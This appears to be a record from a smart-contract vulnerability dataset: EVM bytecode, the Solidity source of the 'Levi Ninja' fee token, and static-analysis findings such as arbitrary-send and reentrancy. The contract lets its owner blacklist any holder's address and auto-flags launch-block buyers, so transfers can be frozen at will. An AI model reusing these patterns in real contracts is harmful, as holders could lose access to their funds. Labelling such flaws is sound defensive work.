857600080fd5b6101b861096d565b34156102ab57600080fd5b6102b6600435610973565b60405197885260208801969096526040808801959095526060870193909352608086019190915260a085015260c084015290151560e0830152610100909101905180910390f35b341561030857600080fd5b6101b86109ea565b341561031b57600080fd5b6101b86004356109f0565b341561033157600080fd5b610339610a05565b60405191825260208201526040908101905180910390f35b341561035c57600080fd5b6101b8600435610a0d565b341561037257600080fd5b6101b8600435610a22565b341561038857600080fd5b610339610a37565b341561039b57600080fd5b6103a9600435602435610a3f565b60405180878152602001868152602001858152602001848152602001838152602001828152602001965050505050505060405180910390f35b34156103ed57600080fd5b6101b8610aaf565b341561040057600080fd5b610408610ab5565b604051600160a060020a03909116815260200160405180910390f35b341561042f57600080fd5b6101b8600435610ac4565b341561044557600080fd5b6101b8600435602435604435610ad7565b341561046157600080fd5b610472600435602435604435610bc0565b604051938452602084019290925260408084019190915290151560608301526080909101905180910390f35b34156104a957600080fd5b61020560043560243560443560643560843560a4351515610c23565b34156104d057600080fd5b6101b8600435610d62565b34156104e657600080fd5b610339610d81565b34156104f957600080fd5b610504600435610d9e565b60405195865260208601949094526040808601939093526060850191909152608084015290151560a083015260c0909101905180910390f35b341561054857600080fd5b61020560043560243560443560643560843560a43560c43560e4351515610e00565b341561057557600080fd5b610205600435610f70565b341561058b57600080fd5b61059c600435602435604435610f90565b60405194855260208501939093526040808501929092526060840152901515608083015260a0909101905180910390f35b34156105d857600080fd5b6101b8600435610fff565b34156105ee57600080fd5b6101b8611014565b341561060157600080fd5b6101b861101a565b341561061457600080fd5b6101b8600435611020565b60085490565b600081600114156106715782151561064f5750600083815260036020526040902060010154610671565b5060008381526003602052604090206006810154600190910154908302600202015b9392505050565b60005433600160a060020a0390811691161461069357600080fd5b600160a060020a03811615156106a857600080fd5b6009805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60009081526002602052604090206005015490565b60005433600160a060020a0390811691161461070757600080fd5b600755565b61071461109b565b60095433600160a060020a039081169116148061073f575060005433600160a060020a039081169116145b151561074a57600080fd5b60e06040519081016040528089815260200188815260200187815260200186815260200185815260200184815260200183815250905080600360008a8152602001908152602001600020600082015181556020820151816001015560408201518160020155606082015181600301556080820151816004015560a0820151816005015560c0820151600691820155546107e59150600161103f565b6006557fa968da2782cf461537e56f247b36b6c4ad8e7df19d3abddc2353e38ddc5bb3f78888888888888860405196875260208701959095526040808701949094526060860192909252608085015260a084015260c083019190915260e0909101905180910390a15050505050505050565b60009081526002602052604090206003015490565b600082818060018514156108c55785151561089b57600087815260016020819052604090912001549350610963565b60008781526001602081905260409091206002808201549190920154908802909102019350610963565b600185111561096357600086111561090057600087815260016020819052604090912060028101549101548702600019880188029091020191505b61090a868661103f565b925061095b61092f600160008a81526020019081526020016000206001015485611059565b61095661093f8660018803611059565b60008b815260016020526040902060020154611059565b61103f565b905081810393505b5050509392505050565b60075490565b600081815260026020819052604082206001810154918101546003820154600483015460058401546006909401546008549596939592949193919290919081906109be908790611059565b6000998a526002602052604090992060070154979996989597949693959294929360ff90931692915050565b60075481565b60009081526002602052604090206006015490565b600454600191565b60009081526002602052604090206004015490565b60009081526001602052604090206004015490565b600654600191565b600080600080600080610a5488886001610625565b60008981526003602081905260409091206002810154918101546004820154600590920154600854949a506064600a8d0281019094029390930498509650945088019250610aa3908690611059565b90509295509295509295565b60065481565b600054600160a060020a031681565b6000610ad1826002611084565b92915050565b60008281806001851415610b2e57851515610b05576000878152600260205260409020600101549350610963565b600087815260026020819052604090912080820154600190910154908802909102019350610963565b6001851115610963576000861115610b6b576000878152600260208190526040909120908101546001909101548702600019880188029091020191505b610b75868661103f565b60008881526002602052604090206001015490935061095b90610b989085611059565b610956610ba88660018803611059565b60008b81526002602081905260409091200154611059565b600083815260026020526040812054819081908190610be0888888610ad7565b600089815260026020526040902060030154610bfc9088611059565b6000998a52600260205260409099206007015491999098975060ff90911695509350505050565b610c2b6110d9565b60095433600160a060020a0390811691161480610c56575060005433600160a060020a039081169116145b1515610c6157600080fd5b60c06040519081016040528088815260200187815260200186815260200185815260200184815260200183151581525090508060016000898152602001908152602001600020600082015181556020820151816001015560408201518160020155606082015181600301556080820151816004015560a0820151600591909101805460ff191691151591909117905550600454610cff90600161103f565b6004557f8489b0e11d035c8f69ba1c9b68efc99db3617f3156516169215477683e7eccf48787878787604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390a150505050505050565b600081815260026020526040812060030154600854610ad19190611059565b6000806000610d93602760055461103f565b602894909350915050565b60008181526001602081905260408220908101546002820154600383015460049093015460085492949193929091908190610dda908590611059565b60009788526001602052604090972060050154959794969395929460ff90931692915050565b610e08611112565b60095433600160a060020a0390811691161480610e33575060005433600160a060020a039081169116145b1515610e3e57600080fd5b610100604051908101604052808a8152602001898152602001888152602001878152602001868152602001858152602001848152602001831515815250905080600260008b8152602001908152602001600020600082015181556020820151816001015560408201518160020155606082015181600301556080820151816004015560a0820151816005015560c0820151816006015560e0820151600791909101805460ff191691151591909117905550600554610efd90600161103f565b6005557f56f532faf1224d55677ede7c8d90b6193dfe13e9b9623e69f6de25d3dbf1a5c28989898989898960405196875260208701959095526040808701949094526060860192909252608085015260a084015260c083019190915260e0909101905180910390a1505050505050505050565b60005433600160a060020a03908116911614610f8b57600080fd5b600855565b600083815260016020526040812080546004909101548291829182918291610fb98a8a8a61086c565b60008b815260016020526040902060030154610fd5908a611059565b60009b8c5260016020526040909b2060050154929b919a909950975060ff90911695509350505050565b60009081526001602052604090206003015490565b60055481565b60045481565b600081815260016020526040812060030154600854610ad19190611059565b60008282018381101561104e57fe5b8091505b5092915050565b60008083151561106c5760009150611052565b5082820282848281151561107c57fe5b041461104e57fe5b600080828481151561109257fe5b04949350505050565b60e060405190810160405280600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b60c06040519081016040528060008152602001600081526020016000815260200160008152602001600081526020016000151581525090565b610100604051908101604052806000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160001515815250905600a165627a7a72305820463b2fe2b914bcf3be245a5b58c69fdc49d02812ab678b02a594006f200369460029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
3,828
0x4f1fb62b225cce6650e9b6c4400454d22dd98948
/** *Submitted for verification at Etherscan.io on 2022-03-06 */ // SPDX-License-Identifier: Unlicensed //Telegram: https://t.me/levija pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner() { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner() { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract LEVIJA is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint256 private constant _MAX = ~uint256(0); uint256 private constant _tTotal = 1e10 * 10**9; uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Levi Ninja"; string private constant _symbol = "LEVIJA"; uint private constant _decimals = 9; uint256 private _teamFee = 8; uint256 private _previousteamFee = _teamFee; address payable private _feeAddress; // Uniswap Pair IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; bool private _initialized = false; bool private _noTaxMode = false; bool private _inSwap = false; bool private _tradingOpen = false; uint256 private _launchTime; uint256 private _initialLimitDuration; modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } modifier handleFees(bool takeFee) { if (!takeFee) _removeAllFees(); _; if (!takeFee) _restoreAllFees(); } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _removeAllFees() private { require(_teamFee > 0); _previousteamFee = _teamFee; _teamFee = 0; } function _restoreAllFees() private { _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[to]); require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case."); bool takeFee = false; if ( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !_noTaxMode && (from == _uniswapV2Pair || to == _uniswapV2Pair) ) { require(_tradingOpen, 'Trading has not yet been opened.'); takeFee = true; if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(2).div(100)); } if (block.timestamp == _launchTime) _isBot[to] = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _uniswapV2Pair) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100)) contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100); _swapTokensForEth(contractTokenBalance); } } } _tokenTransfer(from, to, amount, takeFee); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate); return (rAmount, rTransferAmount, tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) { uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rTeam); return (rAmount, rTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function initContract(address payable feeAddress) external onlyOwner() { require(!_initialized,"Contract has already been initialized"); IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _uniswapV2Router = uniswapV2Router; _feeAddress = feeAddress; _isExcludedFromFee[_feeAddress] = true; _initialized = true; } function openTrading() external onlyOwner() { require(_initialized, "Contract must be initialized first"); _tradingOpen = true; _launchTime = block.timestamp; _initialLimitDuration = _launchTime + (3 minutes); } function setFeeWallet(address payable feeWalletAddress) external onlyOwner() { _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function setTeamFee(uint256 fee) external onlyOwner() { require(fee <= 8, "not larger than 8%"); _teamFee = fee; } function setBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function isExcludedFromFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function swapFeesManual() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function withdrawFees() external { uint256 contractETHBalance = address(this).balance; _feeAddress.transfer(contractETHBalance); } receive() external payable {} }
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103f3578063cf0848f714610408578063cf9d4afa14610428578063dd62ed3e14610448578063e6ec64ec1461048e578063f2fde38b146104ae57600080fd5b8063715018a6146103275780638da5cb5b1461033c57806390d49b9d1461036457806395d89b4114610384578063a9059cbb146103b3578063b515566a146103d357600080fd5b806331c2d8471161010857806331c2d847146102405780633bbac57914610260578063437823ec14610299578063476343ee146102b95780635342acb4146102ce57806370a082311461030757600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b757806318160ddd146101e757806323b872dd1461020c578063313ce5671461022c57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104ce565b005b34801561017e57600080fd5b5060408051808201909152600a8152694c657669204e696e6a6160b01b60208201525b6040516101ae9190611910565b60405180910390f35b3480156101c357600080fd5b506101d76101d236600461198a565b61051a565b60405190151581526020016101ae565b3480156101f357600080fd5b50678ac7230489e800005b6040519081526020016101ae565b34801561021857600080fd5b506101d76102273660046119b6565b610531565b34801561023857600080fd5b5060096101fe565b34801561024c57600080fd5b5061017061025b366004611a0d565b61059a565b34801561026c57600080fd5b506101d761027b366004611ad2565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a557600080fd5b506101706102b4366004611ad2565b610630565b3480156102c557600080fd5b5061017061067e565b3480156102da57600080fd5b506101d76102e9366004611ad2565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031357600080fd5b506101fe610322366004611ad2565b6106b8565b34801561033357600080fd5b506101706106da565b34801561034857600080fd5b506000546040516001600160a01b0390911681526020016101ae565b34801561037057600080fd5b5061017061037f366004611ad2565b610710565b34801561039057600080fd5b506040805180820190915260068152654c4556494a4160d01b60208201526101a1565b3480156103bf57600080fd5b506101d76103ce36600461198a565b61078a565b3480156103df57600080fd5b506101706103ee366004611a0d565b610797565b3480156103ff57600080fd5b506101706108b0565b34801561041457600080fd5b50610170610423366004611ad2565b610967565b34801561043457600080fd5b50610170610443366004611ad2565b6109b2565b34801561045457600080fd5b506101fe610463366004611aef565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561049a57600080fd5b506101706104a9366004611b28565b610c0d565b3480156104ba57600080fd5b506101706104c9366004611ad2565b610c82565b6000546001600160a01b031633146105015760405162461bcd60e51b81526004016104f890611b41565b60405180910390fd5b600061050c306106b8565b905061051781610d1a565b50565b6000610527338484610e94565b5060015b92915050565b600061053e848484610fb8565b610590843361058b85604051806060016040528060288152602001611cbc602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906113f9565b610e94565b5060019392505050565b6000546001600160a01b031633146105c45760405162461bcd60e51b81526004016104f890611b41565b60005b815181101561062c576000600560008484815181106105e8576105e8611b76565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062481611ba2565b9150506105c7565b5050565b6000546001600160a01b0316331461065a5760405162461bcd60e51b81526004016104f890611b41565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f1935050505015801561062c573d6000803e3d6000fd5b6001600160a01b03811660009081526001602052604081205461052b90611433565b6000546001600160a01b031633146107045760405162461bcd60e51b81526004016104f890611b41565b61070e60006114b7565b565b6000546001600160a01b0316331461073a5760405162461bcd60e51b81526004016104f890611b41565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000610527338484610fb8565b6000546001600160a01b031633146107c15760405162461bcd60e51b81526004016104f890611b41565b60005b815181101561062c57600c5482516001600160a01b03909116908390839081106107f0576107f0611b76565b60200260200101516001600160a01b0316141580156108415750600b5482516001600160a01b039091169083908390811061082d5761082d611b76565b60200260200101516001600160a01b031614155b1561089e5760016005600084848151811061085e5761085e611b76565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108a881611ba2565b9150506107c4565b6000546001600160a01b031633146108da5760405162461bcd60e51b81526004016104f890611b41565b600c54600160a01b900460ff1661093e5760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104f8565b600c805460ff60b81b1916600160b81b17905542600d8190556109629060b4611bbd565b600e55565b6000546001600160a01b031633146109915760405162461bcd60e51b81526004016104f890611b41565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109dc5760405162461bcd60e51b81526004016104f890611b41565b600c54600160a01b900460ff1615610a445760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104f8565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a9b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610abf9190611bd5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b309190611bd5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba19190611bd5565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c375760405162461bcd60e51b81526004016104f890611b41565b6008811115610c7d5760405162461bcd60e51b81526020600482015260126024820152716e6f74206c6172676572207468616e20382560701b60448201526064016104f8565b600855565b6000546001600160a01b03163314610cac5760405162461bcd60e51b81526004016104f890611b41565b6001600160a01b038116610d115760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104f8565b610517816114b7565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d6257610d62611b76565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dbb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddf9190611bd5565b81600181518110610df257610df2611b76565b6001600160a01b039283166020918202929092010152600b54610e189130911684610e94565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e51908590600090869030904290600401611bf2565b600060405180830381600087803b158015610e6b57600080fd5b505af1158015610e7f573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610ef65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f8565b6001600160a01b038216610f575760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f8565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661101c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f8565b6001600160a01b03821661107e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f8565b600081116110e05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f8565b6001600160a01b03821660009081526005602052604090205460ff161561110657600080fd5b6001600160a01b03831660009081526005602052604090205460ff16156111ae5760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104f8565b6001600160a01b03831660009081526004602052604081205460ff161580156111f057506001600160a01b03831660009081526004602052604090205460ff16155b80156112065750600c54600160a81b900460ff16155b80156112365750600c546001600160a01b03858116911614806112365750600c546001600160a01b038481169116145b156113e757600c54600160b81b900460ff166112945760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104f8565b50600c546001906001600160a01b0385811691161480156112c35750600b546001600160a01b03848116911614155b80156112d0575042600e54115b156113175760006112e0846106b8565b905061130060646112fa678ac7230489e800006002611507565b90611586565b61130a84836115c8565b111561131557600080fd5b505b600d54421415611345576001600160a01b0383166000908152600560205260409020805460ff191660011790555b6000611350306106b8565b600c54909150600160b01b900460ff1615801561137b5750600c546001600160a01b03868116911614155b156113e55780156113e557600c546113af906064906112fa90600f906113a9906001600160a01b03166106b8565b90611507565b8111156113dc57600c546113d9906064906112fa90600f906113a9906001600160a01b03166106b8565b90505b6113e581610d1a565b505b6113f384848484611627565b50505050565b6000818484111561141d5760405162461bcd60e51b81526004016104f89190611910565b50600061142a8486611c63565b95945050505050565b600060065482111561149a5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104f8565b60006114a461172a565b90506114b08382611586565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826115165750600061052b565b60006115228385611c7a565b90508261152f8583611c99565b146114b05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f8565b60006114b083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061174d565b6000806115d58385611bbd565b9050838110156114b05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f8565b80806116355761163561177b565b60008060008061164487611797565b6001600160a01b038d166000908152600160205260409020549397509195509350915061167190856117de565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546116a090846115c8565b6001600160a01b0389166000908152600160205260409020556116c281611820565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161170791815260200190565b60405180910390a3505050508061172357611723600954600855565b5050505050565b600080600061173761186a565b90925090506117468282611586565b9250505090565b6000818361176e5760405162461bcd60e51b81526004016104f89190611910565b50600061142a8486611c99565b60006008541161178a57600080fd5b6008805460095560009055565b6000806000806000806117ac876008546118aa565b9150915060006117ba61172a565b90506000806117ca8a85856118d7565b909b909a5094985092965092945050505050565b60006114b083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113f9565b600061182a61172a565b905060006118388383611507565b3060009081526001602052604090205490915061185590826115c8565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e800006118858282611586565b8210156118a157505060065492678ac7230489e8000092509050565b90939092509050565b600080806118bd60646112fa8787611507565b905060006118cb86836117de565b96919550909350505050565b600080806118e58685611507565b905060006118f38686611507565b9050600061190183836117de565b92989297509195505050505050565b600060208083528351808285015260005b8181101561193d57858101830151858201604001528201611921565b8181111561194f576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461051757600080fd5b803561198581611965565b919050565b6000806040838503121561199d57600080fd5b82356119a881611965565b946020939093013593505050565b6000806000606084860312156119cb57600080fd5b83356119d681611965565b925060208401356119e681611965565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a2057600080fd5b823567ffffffffffffffff80821115611a3857600080fd5b818501915085601f830112611a4c57600080fd5b813581811115611a5e57611a5e6119f7565b8060051b604051601f19603f83011681018181108582111715611a8357611a836119f7565b604052918252848201925083810185019188831115611aa157600080fd5b938501935b82851015611ac657611ab78561197a565b84529385019392850192611aa6565b98975050505050505050565b600060208284031215611ae457600080fd5b81356114b081611965565b60008060408385031215611b0257600080fd5b8235611b0d81611965565b91506020830135611b1d81611965565b809150509250929050565b600060208284031215611b3a57600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611bb657611bb6611b8c565b5060010190565b60008219821115611bd057611bd0611b8c565b500190565b600060208284031215611be757600080fd5b81516114b081611965565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c425784516001600160a01b031683529383019391830191600101611c1d565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c7557611c75611b8c565b500390565b6000816000190483118215151615611c9457611c94611b8c565b500290565b600082611cb657634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a82ee822c358b202130302596a9c0987ba9a3712cbdd345a945d2369dddf97e364736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,829
0xa237bb9cf4d92fb174ae1b3658e9ebd2c7c241ab
